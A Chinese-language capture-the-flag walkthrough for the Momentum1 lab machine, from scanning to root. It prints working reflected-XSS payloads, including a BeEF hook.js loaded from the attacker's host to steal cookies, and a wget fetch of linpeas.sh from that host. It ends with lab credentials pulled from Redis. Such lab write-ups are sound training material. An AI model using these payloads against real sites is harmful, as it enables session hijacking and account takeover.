Momentum1-靶机
环境:下载靶机、解压、VMware打开,并将其和kali虚拟机的网络调成NAT模式
kali扫描不到靶机IP解决办法请看Momentum2中有解决办法
一.明确目标
探测目标主机IP情况
sudo arp-scan -l
目标主机IP:192.168.107.134
Kali的IP:192.168.107.129
二.信息搜集
Nmap 进行常规端口开放扫描
nmap 192.168.107.134 -p- -A
发现目标靶机开放了ssh 22端口,http 80端口。(以及Apache httpd 2.4.38 Debian的版本, OpenSSH 7.9p1 Debian)
在浏览器中访问一下目标靶机的80端口:
发现几张照片,查看源码也没有什么有用的东西
1.使用dirsearch命令对靶机网站目录进行扫描
dirsearch -u 192.168.107.134
dirsearch -u 192.168.107.134
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/kali/.dirsearch/reports/192.168.107.134_23-04-10_07-56-20.txt
Error Log: /home/kali/.dirsearch/logs/errors-23-04-10_07-56-20.log
Target: http://192.168.107.134/
[07:56:20] Starting:
[07:56:21] 301 - 315B - /js -> http://192.168.107.134/js/
[07:56:21] 403 - 280B - /.ht_wsr.txt
[07:56:21] 403 - 280B - /.htaccess.orig
[07:56:21] 403 - 280B - /.htaccess.bak1
[07:56:21] 403 - 280B - /.htaccess.sample
[07:56:21] 403 - 280B - /.htaccess_extra
[07:56:21] 403 - 280B - /.htaccess.save
[07:56:21] 403 - 280B - /.htaccess_sc
[07:56:21] 403 - 280B - /.htaccess_orig
[07:56:21] 403 - 280B - /.htaccessBAK
[07:56:21] 403 - 280B - /.htaccessOLD
[07:56:21] 403 - 280B - /.htaccessOLD2
[07:56:21] 403 - 280B - /.htm
[07:56:21] 403 - 280B - /.html
[07:56:21] 403 - 280B - /.htpasswd_test
[07:56:21] 403 - 280B - /.htpasswds
[07:56:21] 403 - 280B - /.httr-oauth
[07:56:22] 403 - 280B - /.php
[07:56:33] 301 - 316B - /css -> http://192.168.107.134/css/
[07:56:36] 301 - 316B - /img -> http://192.168.107.134/img/
[07:56:36] 200 - 2KB - /index.html
[07:56:37] 200 - 931B - /js/
[07:56:39] 200 - 626B - /manual/index.html
[07:56:39] 301 - 319B - /manual -> http://192.168.107.134/manual/
[07:56:44] 403 - 280B - /server-status
[07:56:44] 403 - 280B - /server-status/
Task Completed
http://192.168.107.134/manual/
http://192.168.107.134/js/
http://192.168.107.134/manual/index.html
浏览器访问http://192.168.107.134/manual/
没什么可以利用的
访问一下 http://192.168.107.134/js/
下面还有一个JS脚本文件,点击查看一下
function viewDetails(str) {
window.location.href = "opus-details.php?id="+str;
}
/*
var CryptoJS = require("crypto-js");
var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");
console.log(decrypted.toString(CryptoJS.enc.Utf8));
*/
2.JS代码审计
上面看见了window.location.href = “opus-details.php?id=”+str; 当中的window.location.href的意思是可以理解为重定向,就是原url加上后面的值opus-details.php?id=+str;
并且注释中发现了一个AES加密,且加密密码是 SecretPassphraseMomentum
返回页面再去看看,挨个图片点进去看看
发现图片一链接http://192.168.107.134/opus-details.php?id=demon与代码审计中看到的window.location.href
一样,url有重定向
利用浏览器hackbar插件在最基础的url上添加以下代码,在id后面尝试各种输入的值,发现输什么就回显什么;
尝试一下是否存在XSS漏洞
说明存在XSS漏洞
3.XSS漏洞利用
方法一:在hackbar中输入JS语句
<script>alert(document.cookie)</script>
http://192.168.107.134/opus-details.php?id=<script>alert(document.cookie)</script>
得到cookie值
cookie=U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt
方法二:在kali中使用beef-xss工具
beef-xss工具kali不自带需要自行安装
sudo apt-get install beef-xss
启动beef-xss
浏览器访问http://127.0.0.1:3000/ui/panel
url中输入<script src="http://192.168.107.129:3000/hook.js"></script>
http://192.168.107.134/opus-details.php?id=<script src="http://192.168.107.129:3000/hook.js"></script> #src中为kali的IP地址
刷新浏览器,发现左上角出现上线的肉鸡,选择get cookie模块获得肉鸡的cookie值
获取到目标的cookie
拿到cookie有点迷茫,也只有cookie,回头再回忆一遍,nmap扫描端口时除了有个80端口还有个22的ssh端口,但是我们并没有登录的账号密码,想爆破一下,但是我简单的爆破发现并没什么用,之后看见js文件中还有一段被忽略的代码!是一个AES加密方法
试试解密这个字符串cookie值
解密地址:http://www.jsons.cn/aesencrypt/
还真解密出来了:auxerre-alienum##
4.尝试SSH登录
登录ssh,多次试错成功登录;用户名是auxerre;密码是auxerre-alienum##;没错就是一整个。
登录成功,获得一个flag
flag : 84157165c30ad34d18945b647ec7f647
三.进一步提权
sudo一下
没有sudo
,当前目录也没有其他有用的信息
查找一下suid程序
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null #两个是一个意思
好像也没啥可用的
使用linpeas.sh
提权信息收集脚本,进行信息收集一波
kali开启网站服务
在靶机上wget下载
wget http://192.168.107.129:8888/shell/linpeas.sh
给脚本赋权限,再运行
chmod 777 linpeas.sh
./linpeas.sh
发现监听了6379
端口,说明开启了Redis
redis-cli直接连接数据库并查找key,继续我们看见有一个"rootpass"查看一下
补充:默认情况下redis-cli,通过127.0.0.1 端口 6379 连接到服务器。在交互模式下,用户在提示符下键入 Redis 命令。命令被发送到服务器,进行处理,回复被解析并呈现为更简单的形式以供阅读。字符串127.0.0.1:6379>是提示。它提醒您已连接到给定的 Redis 实例。
拿到密码,退出redis,在靶机中输入su root进入root用户
得到root权限,并在root
目录下找到最后一个flag
四.总结
本靶机通过信息收集发现AES加密
秘钥以及XSS漏洞
,利用beef-xss工具拿到cookie,解密后得到了账户密码,ssh登录后通过使用linpeas.sh脚本信息收集发现开着Redis
,利用redis-cli
拿到root密码
- 信息收集
- 发现AES有加密
- XSS漏洞利用,通过beef-xss工具获得cookie值
- 得到cookie值尝试AES解密得到账户密码
- redis-cli的使用,获得root密码